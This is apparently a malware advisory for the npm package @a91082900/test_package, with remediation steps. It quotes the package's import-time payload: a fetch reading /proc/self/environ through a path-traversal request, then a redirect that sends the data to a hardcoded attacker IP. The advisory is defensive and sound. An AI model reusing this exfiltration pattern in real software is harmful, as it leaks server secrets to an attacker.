MAL-2026-3680 Malicious code in @a91082900/test_package (npm)
Malicious package
Published
MAL-2026-3680 is a malicious package: @a91082900/test_package (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-3680/ (Markdown: https://insights.sbomify.com/MAL-2026-3680/index.md)
- Package
- @a91082900/test_package
- Registry
- npm
What is MAL-2026-3680?
MAL-2026-3680 is a malicious package in @a91082900/test_package, published on 12 May 2026.
Official description
The package's main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues
fetch('/api/notes?id=/self/proc/environ') and then assigns top.location = 'http://128.199.217.232/?notes=' + encodeURIComponent(data), relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process's environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder ('no description', generic author handle) and there is no library functionality — this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read /proc/self/environ together leave no benign interpretation.What should I do about MAL-2026-3680?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.